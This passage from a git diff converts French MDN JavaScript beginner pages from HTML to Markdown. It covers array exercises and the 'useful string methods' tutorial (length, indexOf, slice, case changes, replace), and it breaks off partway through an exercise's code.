demander de l'aide (voir <a href="#assessment_or_further_help">la section à ce sujet en fin de page</a>).</p> -</div> +> **Note :** Vous pouvez essayer vos solutions dans les éditeurs interactifs qui suivent. Toutefois, il peut aussi être utile de télécharger le code et d'utiliser un outil en ligne comme [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), ou [Glitch](https://glitch.com/) afin de travailler sur ces tâches. +> +> Si vous vous retrouvez bloqué·e, vous pouvez demander de l'aide (voir [la section à ce sujet en fin de page](#assessment_or_further_help)). -<div class="note"> -<p><strong>Note :</strong> Dans les exemples qui suivent, s'il y a une erreur dans votre code, celle-ci s'affichera dans le panneau des résultats, sur la page, afin de vous aider à trouver la solution (ou bien dans la console JavaScript du navigateur si vous utilisez la version téléchargeable).</p> -</div> +> **Note :** Dans les exemples qui suivent, s'il y a une erreur dans votre code, celle-ci s'affichera dans le panneau des résultats, sur la page, afin de vous aider à trouver la solution (ou bien dans la console JavaScript du navigateur si vous utilisez la version téléchargeable). -<h2 id="arrays_1">Tableaux - Exercice 1</h2> +## Tableaux - Exercice 1 -<p>Commençons par quelques manipulations de base. Dans cet exercice, vous devrez créer un tableau avec trois éléments. Ce tableau devra être stocké dans une variable intitulée <code>myArray</code>. Les éléments du tableau peuvent être n'importe quoi (si vous avez besoin d'inspiration : pourquoi ne pas utiliser vos plats ou vos groupes de musique préférés ?).</p> +Commençons par quelques manipulations de base. Dans cet exercice, vous devrez créer un tableau avec trois éléments. Ce tableau devra être stocké dans une variable intitulée `myArray`. Les éléments du tableau peuvent être n'importe quoi (si vous avez besoin d'inspiration : pourquoi ne pas utiliser vos plats ou vos groupes de musique préférés ?). -<p>Ensuite, modifiez les deux premiers éléments du tableau en utilisant la notation avec les guillemets/quotes et des opérations d'affectation. Puis ajoutez un nouvel élément au début du tableau.</p> +Ensuite, modifiez les deux premiers éléments du tableau en utilisant la notation avec les guillemets/quotes et des opérations d'affectation. Puis ajoutez un nouvel élément au début du tableau. -<p>Vous pouvez mettre à jour le code suivant pour parvenir à la solution :</p> +Vous pouvez mettre à jour le code suivant pour parvenir à la solution : -<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays1.html", '100%', 400)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays1.html", '100%', 400)}} -<div class="note"> -<p><strong>Note :</strong> <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/arrays/arrays1-download.html">Téléchargez le code initial pour cet exercice</a> afin de travailler dans votre éditeur sur votre ordinateur ou sur un éditeur en ligne.</p> -</div> +> **Note :** [Téléchargez le code initial pour cet exercice](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/arrays/arrays1-download.html) afin de travailler dans votre éditeur sur votre ordinateur ou sur un éditeur en ligne. -<h2 id="arrays_2">Tableaux - Exercice 2</h2> +## Tableaux - Exercice 2 -<p>Voyons maintenant un autre exercice. Ici, vous avez une chaîne de caractères sur laquelle travailler. Vous devrez :</p> +Voyons maintenant un autre exercice. Ici, vous avez une chaîne de caractères sur laquelle travailler. Vous devrez : -<ol> - <li>Convertir la chaîne de caractères en un tableau tout en retirant les caractères <code>+</code> lors de la conversion. Stockez ensuite le résultat dans une variable intitulée <code>myArray</code>.</li> - <li>Stocker la longueur du tableau dans une variable intitulée <code>arrayLength</code>.</li> - <li>Stocker le dernier élément du tableau dans une variable intitulée <code>lastItem</code>.</li> -</ol> +1. Convertir la chaîne de caractères en un tableau tout en retirant les caractères `+` lors de la conversion. Stockez ensuite le résultat dans une variable intitulée `myArray`. +2. Stocker la longueur du tableau dans une variable intitulée `arrayLength`. +3. Stocker le dernier élément du tableau dans une variable intitulée `lastItem`. -<p>Essayez de mettre à jour le code qui suit pour parvenir à la solution :</p> +Essayez de mettre à jour le code qui suit pour parvenir à la solution : -<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays2.html", '100%', 400)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays2.html", '100%', 400)}} -<div class="note"> -<p><strong>Note :</strong> <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/arrays/arrays2-download.html">Téléchargez le code initial pour cet exercice</a> afin de travailler dans votre éditeur sur votre ordinateur ou sur un éditeur en ligne.</p> -</div> +> **Note :** [Téléchargez le code initial pour cet exercice](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/arrays/arrays2-download.html) afin de travailler dans votre éditeur sur votre ordinateur ou sur un éditeur en ligne. -<h2 id="Arrays_3">Tableaux - Exercice 3</h2> +## Tableaux - Exercice 3 -<p>Dans ce dernier exercice, vous disposez d'un tableau de départ et vous devrez effectuer les opérations inverses de l'exercice précédent. Voici ce qu'il faudra réaliser :</p> +Dans ce dernier exercice, vous disposez d'un tableau de départ et vous devrez effectuer les opérations inverses de l'exercice précédent. Voici ce qu'il faudra réaliser : -<ol> - <li>Retirer le dernier élément du tableau.</li> - <li>Ajouter deux nouveaux noms à la fin du tableau.</li> - <li>Parcourir chaque élément du tableau et ajouter son indice, entre parenthèses, après le nom (par exemple <code>Ryu (0)</code>). Note : ceci n'est pas indiqué dans l'article sur les tableaux, il vous faudra rechercher comment faire.</li> - <li>Enfin, fusionner les éléments du tableau dans une chaîne de caractères intitulée <code>myString</code> en utilisant "<code> - </code>" comme séparateur.</li> -</ol> +1. Retirer le dernier élément du tableau. +2. Ajouter deux nouveaux noms à la fin du tableau. +3. Parcourir chaque élément du tableau et ajouter son indice, entre parenthèses, après le nom (par exemple `Ryu (0)`). Note : ceci n'est pas indiqué dans l'article sur les tableaux, il vous faudra rechercher comment faire. +4. Enfin, fusionner les éléments du tableau dans une chaîne de caractères intitulée `myString` en utilisant "` - `" comme séparateur. -<p>Essayez de mettre à jour le code qui suit pour parvenir à la solution :</p> +Essayez de mettre à jour le code qui suit pour parvenir à la solution : -<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays3.html", '100%', 400)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays3.html", '100%', 400)}} -<div class="note"> -<p><strong>Note :</strong> <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/arrays/arrays3-download.html">Téléchargez le code initial pour cet exercice</a> afin de travailler dans votre éditeur sur votre ordinateur ou sur un éditeur en ligne.</p> -</div> +> **Note :** [Téléchargez le code initial pour cet exercice](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/arrays/arrays3-download.html) afin de travailler dans votre éditeur sur votre ordinateur ou sur un éditeur en ligne. -<h2 id="assessment_or_further_help">Recevoir une évaluation ou de l'aide</h2> +## Recevoir une évaluation ou de l'aide -<p>Vous pouvez vous exercer sur ces exemples grâce aux éditeurs interactifs de la page.</p> +Vous pouvez vous exercer sur ces exemples grâce aux éditeurs interactifs de la page. -<p>Si vous souhaitez faire évaluer votre travail ou si vous êtes bloqué·e et que vous voulez demander de l'aide :</p> +Si vous souhaitez faire évaluer votre travail ou si vous êtes bloqué·e et que vous voulez demander de l'aide : -<ol> - <li>Enregistrez votre travail dans un éditeur en ligne tel que <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, ou <a href="https://glitch.com/">Glitch</a> pour le partager. Vous pouvez écrire le code vous-même ou utiliser les fichiers téléchargeables indiqués comme point de départ.</li> - <li>Rédigez un message pour la demande d'aide ou d'évaluation sur <a href="https://discourse.mozilla.org/c/mdn/learn">la catégorie <i>Learning</i> du forum Discourse de MDN</a>. Votre billet devrait inclure : - <ul> - <li>Un titre descriptif comme « Évaluation demandée pour le test Tableaux JavaScript ».</li> - <li>Des détails sur ce que vous avez déjà tenté et sur quels aspects vous avez besoin d'aide si vous bloquez.</li> - <li>Un lien vers l'exemple que vous voulez évaluer ou sur lequel vous avez besoin d'aide. Ce lien doit pointer vers un éditeur en ligne (voir l'étape 1). Il s'agit ici d'une bonne pratique pour commencer : il est souvent difficile d'aider quelqu'un si on ne peut pas voir le code.</li> - <li>Un lien vers la page MDN pour la tâche ou l'évaluation afin que nous puissions trouver la question sur laquelle vous avez besoin d'aide.</li> - </ul> - </li> -</ol> +1. Enregistrez votre travail dans un éditeur en ligne tel que [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), ou [Glitch](https://glitch.com/) pour le partager. Vous pouvez écrire le code vous-même ou utiliser les fichiers téléchargeables indiqués comme point de départ. +2. Rédigez un message pour la demande d'aide ou d'évaluation sur [la catégorie _Learning_ du forum Discourse de MDN](https://discourse.mozilla.org/c/mdn/learn). Votre billet devrait inclure : + + - Un titre descriptif comme « Évaluation demandée pour le test Tableaux JavaScript ». + - Des détails sur ce que vous avez déjà tenté et sur quels aspects vous avez besoin d'aide si vous bloquez. + - Un lien vers l'exemple que vous voulez évaluer ou sur lequel vous avez besoin d'aide. Ce lien doit pointer vers un éditeur en ligne (voir l'étape 1). Il s'agit ici d'une bonne pratique pour commencer : il est souvent difficile d'aider quelqu'un si on ne peut pas voir le code. + - Un lien vers la page MDN pour la tâche ou l'évaluation afin que nous puissions trouver la question sur laquelle vous avez besoin d'aide. diff --git a/files/fr/learn/javascript/first_steps/useful_string_methods/index.md b/files/fr/learn/javascript/first_steps/useful_string_methods/index.md index f2e52aa169..0ff7cd44d7 100644 --- a/files/fr/learn/javascript/first_steps/useful_string_methods/index.md +++ b/files/fr/learn/javascript/first_steps/useful_string_methods/index.md @@ -17,43 +17,51 @@ tags: translation_of: Learn/JavaScript/First_steps/Useful_string_methods original_slug: Learn/JavaScript/First_steps/methode_chaine_utile --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div> - -<p>À présent que nous avons vu les bases de la manipulation des chaînes de caractères, allons un cran plus loin et commençons à imaginer les opérations utiles que nous pourrions faire sur les chaînes de caractères avec les méthodes intégrées : trouver la longueur d'une chaîne, assembler ou couper des chaînes, substituer un caractère à un autre dans une chaîne, et plus encore.</p> +À présent que nous avons vu les bases de la manipulation des chaînes de caractères, allons un cran plus loin et commençons à imaginer les opérations utiles que nous pourrions faire sur les chaînes de caractères avec les méthodes intégrées : trouver la longueur d'une chaîne, assembler ou couper des chaînes, substituer un caractère à un autre dans une chaîne, et plus encore. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre que les chaînes de caractères sont des objets, et apprendre à utiliser certaines méthodes basiques disponibles sur ces objets pour manipuler les chaînes.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vocabulaire courant de l'informatique, bases de HTML et CSS, + compréhension de ce que fait JavaScript. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre que les chaînes de caractères sont des objets, et apprendre à + utiliser certaines méthodes basiques disponibles sur ces objets pour + manipuler les chaînes. + </td> + </tr> + </tbody> </table> -<h2 id="Les_chaînes_de_caractères_sont_des_objets">Les chaînes de caractères sont des objets</h2> +## Les chaînes de caractères sont des objets -<p>Nous l'avons déjà dit, et nous le redirons — <em>tout</em> est objet en JavaScript. Lorsque vous créez une chaîne, par exemple en utilisant :</p> +Nous l'avons déjà dit, et nous le redirons — _tout_ est objet en JavaScript. Lorsque vous créez une chaîne, par exemple en utilisant : -<pre class="brush: js">let string = 'Ceci est une chaîne';</pre> +```js +let string = 'Ceci est une chaîne'; +``` -<p>votre variable devient une instance de l'objet <code>String</code>, et par conséquent possède un grand nombre de propriétés et de méthodes associées. Allez sur la page de l'objet {{jsxref("String")}} et regardez la liste sur le côté de la page !</p> +votre variable devient une instance de l'objet `String`, et par conséquent possède un grand nombre de propriétés et de méthodes associées. Allez sur la page de l'objet {{jsxref("String")}} et regardez la liste sur le côté de la page ! -<p><strong>Avant que votre cervelle ne commence à bouillir, pas de panique !</strong> Vous n'avez vraiment pas besoin de connaître la plupart des méthodes de cette liste au début de cet apprentissage. Mais il est probable que vous utiliserez certaines assez souvent. Nous allons les voir maintenant.</p> +**Avant que votre cervelle ne commence à bouillir, pas de panique !** Vous n'avez vraiment pas besoin de connaître la plupart des méthodes de cette liste au début de cet apprentissage. Mais il est probable que vous utiliserez certaines assez souvent. Nous allons les voir maintenant. -<p>Entrez quelques exemples dans une console vierge. En voici une ci-dessous (vous pouvez aussi <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">ouvrir cette console</a> dans un onglet ou une fenêtre séparés, ou utiliser la <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">console de développement du navigateur</a> si vous préférez).</p> +Entrez quelques exemples dans une console vierge. En voici une ci-dessous (vous pouvez aussi [ouvrir cette console](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparés, ou utiliser la [console de développement du navigateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) si vous préférez). -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>JavaScript console</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> * { box-sizing: border-box; } @@ -101,14 +109,14 @@ original_slug: Learn/JavaScript/First_steps/methode_chaine_utile clear: both; } - </style> - </head> - <body> + </style> + </head> + <body> - </body> + </body> - <script> + <script> var geval = eval; function createInput() { var inputDiv = document.createElement('div'); @@ -116,7 +124,7 @@ original_slug: Learn/JavaScript/First_steps/methode_chaine_utile var inputForm = document.createElement('input'); inputDiv.setAttribute('class', 'input'); - inputPara.textContent = '>'; + inputPara.textContent = '>'; inputDiv.appendChild(inputPara); inputDiv.appendChild(inputForm); document.body.appendChild(inputDiv); @@ -147,106 +155,131 @@ original_slug: Learn/JavaScript/First_steps/methode_chaine_utile createInput(); - </script> -</html></pre> + </script> +</html> +``` -<p>{{ EmbedLiveSample('Les_chaînes_de_caractères_sont_des_objets', '100%', 300) }}</p> +{{ EmbedLiveSample('Les_chaînes_de_caractères_sont_des_objets', '100%', 300) }} -<h3 id="Trouver_la_longueur_dune_chaîne">Trouver la longueur d'une chaîne</h3> +### Trouver la longueur d'une chaîne -<p>C'est facile — il suffit d'utiliser la propriété {{jsxref("String.prototype.length", "length")}}. Entrez ceci :</p> +C'est facile — il suffit d'utiliser la propriété {{jsxref("String.prototype.length", "length")}}. Entrez ceci : -<pre class="brush: js">let browserType = 'mozilla'; -browserType.length;</pre> +```js +let browserType = 'mozilla'; +browserType.length; +``` -<p>Cette commande doit renvoyer le nombre 7, parce que « mozilla » comporte 7 caractères. C'est utile pour de nombreuses raisons ; par exemple, vous pourriez avoir besoin de trouver les longueurs d'une série de noms pour les afficher par taille ou faire savoir à un utilisateur qu'il a entré un nom trop long dans un champ de formulaire à partir du moment où il dépasse une certaine taille.</p> +Cette commande doit renvoyer le nombre 7, parce que « mozilla » comporte 7 caractères. C'est utile pour de nombreuses raisons ; par exemple, vous pourriez avoir besoin de trouver les longueurs d'une série de noms pour les afficher par taille ou faire savoir à un utilisateur qu'il a entré un nom trop long dans un champ de formulaire à partir du moment où il dépasse une certaine taille. -<h3 id="Retrouver_un_caractère_donné_dans_une_chaîne">Retrouver un caractère donné dans une chaîne</h3> +### Retrouver un caractère donné dans une chaîne -<p>Dans le même ordre d'idées, il est possible de faire renvoyer tout caractère d'une chaîne avec <strong>la notation crochets</strong> — c'est-à-dire en ajoutant des crochets (<code>[]</code>) à la fin du nom de la variable. Entre les crochets, mettez le rang du caractère à retrouver ; par exemple, pour retrouver le premier caractère, vous devez écrire ceci :</p> +Dans le même ordre d'idées, il est possible de faire renvoyer tout caractère d'une chaîne avec **la notation crochets** — c'est-à-dire en ajoutant des crochets (`[]`) à la fin du nom de la variable. Entre les crochets, mettez le rang du caractère à retrouver ; par exemple, pour retrouver le premier caractère, vous devez écrire ceci : -<pre class="brush: js">browserType[0];</pre> +```js +browserType[0]; +``` -<p>Les ordinateurs décomptent à partir de 0, pas de 1 ! Pour retrouver le dernier caractère de <em>n'importe quelle</em> chaîne, on peut utiliser la commande qui suit ; elle combine cette technique avec la propriété <code>length</code> que nous avons vue plus haut :</p> +Les ordinateurs décomptent à partir de 0, pas de 1 ! Pour retrouver le dernier caractère de _n'importe quelle_ chaîne, on peut utiliser la commande qui suit ; elle combine cette technique avec la propriété `length` que nous avons vue plus haut : -<pre class="brush: js">browserType[browserType.length-1];</pre> +```js +browserType[browserType.length-1]; +``` -<p>La longueur de « mozilla » est de 7 caractères, mais comme le décompte se fait à partir de 0, la position du caractère est 6, d'où la nécessité d'écrire <code>length-1</code>. Vous pourrez utiliser cette propriété pour, par exemple, trouver la première lettre d'une série de chaînes et les trier alphabétiquement.</p> +La longueur de « mozilla » est de 7 caractères, mais comme le décompte se fait à partir de 0, la position du caractère est 6, d'où la nécessité d'écrire `length-1`. Vous pourrez utiliser cette propriété pour, par exemple, trouver la première lettre d'une série de chaînes et les trier alphabétiquement. -<h3 id="Trouver_une_sous-chaîne_à_lintérieur_dune_chaîne_et_lextraire">Trouver une sous-chaîne à l'intérieur d'une chaîne et l'extraire</h3> +### Trouver une sous-chaîne à l'intérieur d'une chaîne et l'extraire -<ol> - <li>Parfois, vous aurez besoin de trouver si une chaîne est présente à l'intérieur d'une autre chaîne plus grande (on dit en général <em>si une sous-chaîne est présente à l'intérieur d'une chaîne</em>). La méthode {{jsxref("String.prototype.indexOf()", "indexOf()")}} permet de le faire ; elle prend un unique ({{glossary("parameter")}}) — la sous-chaîne recherchée. Essayez : +1. Parfois, vous aurez besoin de trouver si une chaîne est présente à l'intérieur d'une autre chaîne plus grande (on dit en général _si une sous-chaîne est présente à l'intérieur d'une chaîne_). La méthode {{jsxref("String.prototype.indexOf()", "indexOf()")}} permet de le faire ; elle prend un unique ({{glossary("parameter")}}) — la sous-chaîne recherchée. Essayez : - <pre class="brush: js">browserType.indexOf('zilla');</pre> - La commande donne 2 comme résultat, car la sous-chaîne « zilla » commence à la position 2 (0, 1, 2 — donc au troisième caractère) dans « mozilla ». Un tel code s'utilise pour filtrer des chaînes. Par exemple, vous pourriez avoir une liste d'adresses web et ne vouloir afficher que celles qui contiennent « mozilla ».</li> - <li>On peut faire cela autrement, peut-être plus efficacement encore. Écrivez : - <pre class="brush: js">browserType.indexOf('vanilla');</pre> - Cela doit vous donner <code>-1</code> comme résultat — renvoyé quand la sous-chaîne, en l'occurence « vanilla », n'est pas trouvée dans la chaîne principale.<br> - <br> - Vous pouvez utiliser cette propriété pour trouver tous les cas de chaînes <strong>ne</strong> <strong>contenant</strong> <strong>pas</strong> la sous-chaîne « mozilla », ou bien <strong>la contenant</strong>, si vous utilisez l'opérateur négation logique, tel que montré ci-dessous. Vous pourriez faire quelque chose comme : + ```js + browserType.indexOf('zilla'); + ``` - <pre class="brush: js">if(browserType.indexOf('mozilla') !== -1) { - // faire des tas de choses avec la chaîne -}</pre> - </li> - <li>Lorsque vous savez où la sous-chaîne commence à l'intérieur de la chaîne, et savez à quel caractère elle prend fin, vous pouvez utiliser {{jsxref("String.prototype.slice()", "slice()")}} pour l'extraire. Voyez ce code : - <pre class="brush: js">browserType.slice(0,3);</pre> - Il renvoie « moz » — le premier paramètre est la position du caractère où doit commencer l'extraction, et le second paramètre est la position du caractère se trouvant après le dernier à extraire. Ainsi, l'extraction va de la première position à la dernière, celle-ci non comprise. On peut dire, dans notre cas, que le second paramètre est égal à la longueur de la chaîne retournée.</li> - <li>Également, si vous souhaitez extraire tous les caractères après un caractère donné jusqu'à la fin de la chaîne, vous n'avez pas à mettre le second paramètre ! Il suffit d'indiquer la position du caractère à partir duquel vous voulez extraire les caractères restants dans la chaîne. Essayez la commande : - <pre class="brush: js">browserType.slice(2);</pre> - Elle renvoie « zilla » — le caractère à la position 2 est « z » et comme nous n'avons pas mis de second paramètre, la sous-chaîne retournée comporte tous les caractères restants de la chaîne.</li> -</ol> + La commande donne 2 comme résultat, car la sous-chaîne « zilla » commence à la position 2 (0, 1, 2 — donc au troisième caractère) dans « mozilla ». Un tel code s'utilise pour filtrer des chaînes. Par exemple, vous pourriez avoir une liste d'adresses web et ne vouloir afficher que celles qui contiennent « mozilla ». -<div class="note"> -<p><strong>Note :</strong> Le second paramètre de <code>slice()</code> est optionnel : s'il n'est pas defini, l'extraction va jusqu'à la fin de la chaîne originale. Il existe aussi d'autres options, allez à la page de {{jsxref("String.prototype.slice()", "slice()")}} pour voir ces autres options.</p> -</div> +2. On peut faire cela autrement, peut-être plus efficacement encore. Écrivez : + + ```js + browserType.indexOf('vanilla'); + ``` + + Cela doit vous donner `-1` comme résultat — renvoyé quand la sous-chaîne, en l'occurence « vanilla », n'est pas trouvée dans la chaîne principale. + + Vous pouvez utiliser cette propriété pour trouver tous les cas de chaînes **ne** **contenant** **pas** la sous-chaîne « mozilla », ou bien **la contenant**, si vous utilisez l'opérateur négation logique, tel que montré ci-dessous. Vous pourriez faire quelque chose comme : + + ```js + if(browserType.indexOf('mozilla') !== -1) { + // faire des tas de choses avec la chaîne + } + ``` + +3. Lorsque vous savez où la sous-chaîne commence à l'intérieur de la chaîne, et savez à quel caractère elle prend fin, vous pouvez utiliser {{jsxref("String.prototype.slice()", "slice()")}} pour l'extraire. Voyez ce code : + + ```js + browserType.slice(0,3); + ``` + + Il renvoie « moz » — le premier paramètre est la position du caractère où doit commencer l'extraction, et le second paramètre est la position du caractère se trouvant après le dernier à extraire. Ainsi, l'extraction va de la première position à la dernière, celle-ci non comprise. On peut dire, dans notre cas, que le second paramètre est égal à la longueur de la chaîne retournée. + +4. Également, si vous souhaitez extraire tous les caractères après un caractère donné jusqu'à la fin de la chaîne, vous n'avez pas à mettre le second paramètre ! Il suffit d'indiquer la position du caractère à partir duquel vous voulez extraire les caractères restants dans la chaîne. Essayez la commande : -<h3 id="Changer_la_casse">Changer la casse</h3> + ```js + browserType.slice(2); + ``` -<p>Les méthodes {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} et {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}} s'appliquent à une chaîne et en convertissent tous les caractères, respectivement en minuscules ou en majuscules. C'est utile si, par exemple, vous souhaitez normaliser toutes les données entrées par des utilisateurs avant de les stocker dans une base de données.</p> + Elle renvoie « zilla » — le caractère à la position 2 est « z » et comme nous n'avons pas mis de second paramètre, la sous-chaîne retournée comporte tous les caractères restants de la chaîne. -<p>Essayons d'entrer les lignes suivantes et voyons ce qui se passe :</p> +> **Note :** Le second paramètre de `slice()` est optionnel : s'il n'est pas defini, l'extraction va jusqu'à la fin de la chaîne originale. Il existe aussi d'autres options, allez à la page de {{jsxref("String.prototype.slice()", "slice()")}} pour voir ces autres options. -<pre class="brush: js">let radData = 'My NaMe Is MuD'; +### Changer la casse + +Les méthodes {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} et {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}} s'appliquent à une chaîne et en convertissent tous les caractères, respectivement en minuscules ou en majuscules. C'est utile si, par exemple, vous souhaitez normaliser toutes les données entrées par des utilisateurs avant de les stocker dans une base de données. + +Essayons d'entrer les lignes suivantes et voyons ce qui se passe : + +```js +let radData = 'My NaMe Is MuD'; radData.toLowerCase(); -radData.toUpperCase();</pre> +radData.toUpperCase(); +``` -<h3 id="Actualiser_des_parties_de_chaîne">Actualiser des parties de chaîne</h3> +### Actualiser des parties de chaîne -<p>Vous pouvez remplacer une sous-chaîne à l'intérieur d'une chaîne avec une autre sous-chaîne à l'aide de la méthode {{jsxref("String.prototype.replace()", "replace()")}}. Cela fonctionne très simplement au niveau basique, bien qu'il soit possible de faire des choses plus avancées, mais nous ne y attarderons pas maintenant.</p> +Vous pouvez remplacer une sous-chaîne à l'intérieur d'une chaîne avec une autre sous-chaîne à l'aide de la méthode {{jsxref("String.prototype.replace()", "replace()")}}. Cela fonctionne très simplement au niveau basique, bien qu'il soit possible de faire des choses plus avancées, mais nous ne y attarderons pas maintenant. -<p>La méthode prend deux paramètres — la chaîne que vous voulez remplacer et la chaîne avec laquelle vous voulez la remplacer. Essayez avec cet exemple :</p> +La méthode prend deux paramètres — la chaîne que vous voulez remplacer et la chaîne avec laquelle vous voulez la remplacer. Essayez avec cet exemple : -<pre class="brush: js">browserType.replace('moz','van');</pre> +```js +browserType.replace('moz','van'); +``` -<p>À noter : pour que, dans un programme réel, la variable <code>browserType</code> reflète effectivement la valeur actualisée, il faut assigner à la valeur de la variable le résultat de l'opération ; cette dernière ne met pas à jour automatiquement la valeur de la sous-chaîne. Pour ce faire, il faut écrire :<code> browserType = browserType.replace('moz','van');</code></p> +À noter : pour que, dans un programme réel, la variable `browserType` reflète effectivement la valeur actualisée, il faut assigner à la valeur de la variable le résultat de l'opération ; cette dernière ne met pas à jour automatiquement la valeur de la sous-chaîne. Pour ce faire, il faut écrire :` browserType = browserType.replace('moz','van');` -<h2 id="Apprendre_en_pratiquant">Apprendre en pratiquant</h2> +## Apprendre en pratiquant -<p>Dans cette section, vous allez pouvoir vous entraîner à écrire du code de manipulation de chaîne. Dans chacun des exercices ci-dessous, nous avons un tableau de chaînes, une boucle qui traîte chaque valeur dans le tableau et l'affiche dans une liste à puces. Vous n'avez pas besoin de comprendre comment fonctionnent les tableaux ou les boucles dès maintenant — cela vous sera expliqué dans de prochains articles. Tout ce dont vous avez besoin dans chaque cas est d'écrire le code qui va renvoyer les chaînes dans le format souhaité.</p> +Dans cette section, vous allez pouvoir vous entraîner à écrire du code de manipulation de chaîne. Dans chacun des exercices ci-dessous, nous avons un tableau de chaînes, une boucle qui traîte chaque valeur dans le tableau et l'affiche dans une liste à puces. Vous n'avez pas besoin de comprendre comment fonctionnent les tableaux ou les boucles dès maintenant — cela vous sera expliqué dans de prochains articles. Tout ce dont vous avez besoin dans chaque cas est d'écrire le code qui va renvoyer les chaînes dans le format souhaité. -<p>Chaque exemple est accompagné d'un bouton « Réinitialiser », que vous pouvez utiliser pour réinitialiser le code si vous faites une erreur et que vous ne parvenez pas à la corriger, et un bouton « Montrer la solution » sur lequel vous pouvez cliquer pour afficher une réponse possible si jamais vous êtes vraiment bloqué.</p> +Chaque exemple est accompagné d'un bouton « Réinitialiser », que vous pouvez utiliser pour réinitialiser le code si vous faites une erreur et que vous ne parvenez pas à la corriger, et un bouton « Montrer la solution » sur lequel vous pouvez cliquer pour afficher une réponse possible si jamais vous êtes vraiment bloqué. -<h3 id="Filtrer_des_messages_de_vœux">Filtrer des messages de vœux</h3> +### Filtrer des messages de vœux -<p>Dans ce premier exercice, nous commencerons simplement — nous avons un tableau de carte de voeux, mais nous voulons les trier pour ne lister que les messages concernant Noël. Nous attendons de vous que vous utilisiez un test conditionnel à l'intérieur d'une structure <code>if( ... )</code>, pour tester chaque chaîne et ne l'afficher dans la liste que si elle contient un message concernant Noël.</p> +Dans ce premier exercice, nous commencerons simplement — nous avons un tableau de carte de voeux, mais nous voulons les trier pour ne lister que les messages concernant Noël. Nous attendons de vous que vous utilisiez un test conditionnel à l'intérieur d'une structure `if( ... )`, pour tester chaque chaîne et ne l'afficher dans la liste que si elle contient un message concernant Noël. -<ol> - <li>Réfléchissez d'abord à comment vérifier que le message concerne Noël. Quelle chaîne est présente dans tous ces messages, et quelle méthode pourriez-vous utiliser pour en tester la présence ?</li> - <li>Il vous faudra alors écrire un test conditionnel sous la forme <em>opérande1 opérateur opérande2</em>. La chose à gauche est-elle égale à la chose à droite ? Ou dans notre cas, l'appel de méthode de gauche renvoie-t-il le résultat de droite ?</li> - <li>Conseil : dans notre cas, il est probablement plus utile de tester si le résultat de l'appel de notre méthode <em>n'est pas égal</em> à un certain résultat.</li> -</ol> +1. Réfléchissez d'abord à comment vérifier que le message concerne Noël. Quelle chaîne est présente dans tous ces messages, et quelle méthode pourriez-vous utiliser pour en tester la présence ? +2. Il vous faudra alors écrire un test conditionnel sous la forme _opérande1 opérateur opérande2_. La chose à gauche est-elle égale à la chose à droite ? Ou dans notre cas, l'appel de méthode de gauche renvoie-t-il le résultat de droite ? +3. Conseil : dans notre cas, il est probablement plus utile de tester si le résultat de l'appel de notre méthode _n'est pas égal_ à un certain résultat. -<pre class="brush: html hidden"><div class="output" style="min-height: 125px;"> +```html hidden +<div class="output" style="min-height: 125px;"> -<ul> +<ul> -</ul> +</ul> -</div> +</div> -<textarea id="code" class="playable-code" style="height: 290px;"> +<textarea id="code" class="playable-code" style="height: 290px;"> var list = document.querySelector('.output ul'); list.innerHTML = ''; var greetings = ['Happy Birthday!', @@ -255,7 +288,7 @@ var greetings = ['Happy Birthday!', 'You\'re all I want for Christmas', 'Get well soon']; -for (var i = 0; i < greetings.length; i++) { +for (var i = 0; i < greetings.length; i++) { var input = greetings[i]; // Your conditional test needs to go inside the parentheses // in the line below, replacing what's currently there @@ -266,15 +299,16 @@ for (var i = 0; i < greetings.length; i++) { list.appendChild(listItem); } } -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); 